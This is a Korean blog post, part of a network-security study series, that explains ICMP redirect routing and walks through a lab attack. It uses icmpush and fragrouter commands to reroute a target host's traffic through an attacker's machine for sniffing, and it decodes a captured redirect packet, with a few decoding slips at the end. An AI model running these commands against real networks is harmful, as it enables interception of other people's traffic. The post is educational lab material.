본문 바로가기
인프라 7기/네트워크 보안 공격 기법

ICMP 리다이렉트

by 킹버거 2023. 5. 10.

안녕하세요! 여러분! 

전 방금 완벽하게 다 쓰고 작성했던 게시글을 클릭 실수로 삭제해버렸어요!

티스토리는 복구가 안 되더라고요? 바로 최근 글이어서 뭐 웹 크롤링 어쩌고 복구법도 안 먹히더라고요!

진짜 제기랄이죠? 임시저장 필수!!!!!!!!

임.시.저.장 휴;;;;;;;;;;;;;;;

정말 화가 나지만 꾹 참고 다시 한 번 작성해볼게요!


ICMP 리다이렉트 동작 원리 

PC K가 외부로 메시지를 전송하려고 한다. PC K의 기본 게이트웨이가 라우터 B이기 때문에 메시지는 라우터 B로 향한다.하지만 라우터 B는 외부로 나갈 때 라우터 A로 나가는 것이 더 빠르다는 걸 알고 있다. 그래서 PC K로부터 받은 메시지를 라우터 A로 전송해준다. 여기서 문제는 네트워크는 블라인드 통신이기 때문에 PC K는 해당 사실을 모른 채 계속해서 외부로 나가는 메시지를 라우터 B로 보낸다. 이를 해결하기 위해 라우터 B는 3번으로 ICMP 리다이렉트 패킷을 전송한다. 그럼 PC K에 해당 라우팅 정보가 저장되어 다음부터 해당 메시지를 라우터 A로 보내게 된다. 

 

ICMP 리다이렉트 메시지를 주고 받으려면 두 라우터 A,B가 같은 라우팅 프로토콜을 써야 한다.

즉, 같은 ISP라는 말이다. 하지만 이런 상황에서는 전혀 백업 기능을 하지 못 한다.

그래서 실제로는 이런 식으로 네트워크 구성을 하지 않기 때문에 ICMP 리다이렉트를 쓸 일이 없다.

현재 대부분의 OS는 ICMP 리다이렉트 패킷이 오면 무시한다. 

!! icmp redirect 공격은 방화벽이 비활성화 되어있어도 정상적인 수행되지 않을 수 있다.


ICMP 리다이렉트 패킷


ICMP 리다이렉트를 이용한 스니핑


ICMP 리다이렉트 공격

icmpush 설치
# yum install icmpush
*CentOS 5, 6에서 설치 가능, rpmforge에서 제공

대상 시스템의 라우팅 테이블 확인 
# route PRINT 

fragrouter를 이용한 패킷 릴레이 실행
# fragrouter -B1 

ICMP 리다이렉트 공격
- icmpush를 이용한 redirect 공격

# icmpush –red –c host –gw <new gw> ‐sp <gw> ‐dest <destination> <target>

   ① ‐gw : 새로 사용할 게이트웨이 IP(공격자 IP)
   ② ‐sp : 사용중인 게이트웨이 IP
   ③ ‐dest : 공격대상이 접속할 대상 서버의 IP
   ④ Target : 공격 대상 IP
   ⑤ Target이 dest에 접속할 때 sp가 아니라 gw를 이용한다.

# icmpush ‐red ‐c host ‐gw 192.168.11.36 ‐sp 192.168.11.1 ‐dest 203.248.252.2 192.168.11.17

공격당한 시스템의 라우팅 테이블을 확인
# route PRINT

 


ICMP redirect 패킷 분석

00 0c 29 92 df fd 00 0c 29 7a 9f ea 08 00 45 00
00 38 33 72 00 00 fe 01 f1 f9 c0 a8 0b 01 c0 a8
0b 07 05 01 af 1c c0 a8 0b 23 45 00 00 38 4a 2f
00 00 fe 06 de e5 c0 a8 0b 07 cb f8 fc 02 00 00
00 00 c0 10 c0 05

Ethernet
Destination MAC Address: 00:0c:29:92:df:fd
Source MAC Address: 00:0c:29:7a:9f:ea
Type: 0800 (IP)

IP
Version: 4
Header Length: 5 (20byte)
Type of Service: 00
Total Length: 0038 (56byte)
Identification: 3372
Flag: 000 (분할x)
Fragment offset: 00000 00000000
TTL: fe (254)
Protocol: 01 (ICMP)
Header checksum: f1f9 (11110001_11111001)
Source IP: c0.a8.0b.01 (192.168.11.1)
Destination IP: c0.a8.0b.07 (192.168.11.7)

ICMP
Type: 05
Code: 01 
> ICMP redirect message임을 알 수 있음.
Checksum:  af1c (10101111_00011100)
New GW IP: c0.a8.0b.23 (192.168.11.35)

IP Header
Version: 4
Header Length: 5 (20byte)
Type of Service: 00
Total Length: 0038 (56byte)
Identification: 4a2f
Flag: 000 (분할x)
Fragment offset: 00000 00000000
TTL: fe (254)
Protocol: 06 (TCP)
Header Checksum: de e5 (11011110_11100101)
Source IP: c0.a8.0b.07 (192.168.11.7)
Destination IP: cb.f8.fc.02 (203.248.252.2)

Sender IP: 00.00.00.00 (0.0.0.0)
Destination IP: c0.10.c0.05 (192.16.192.5)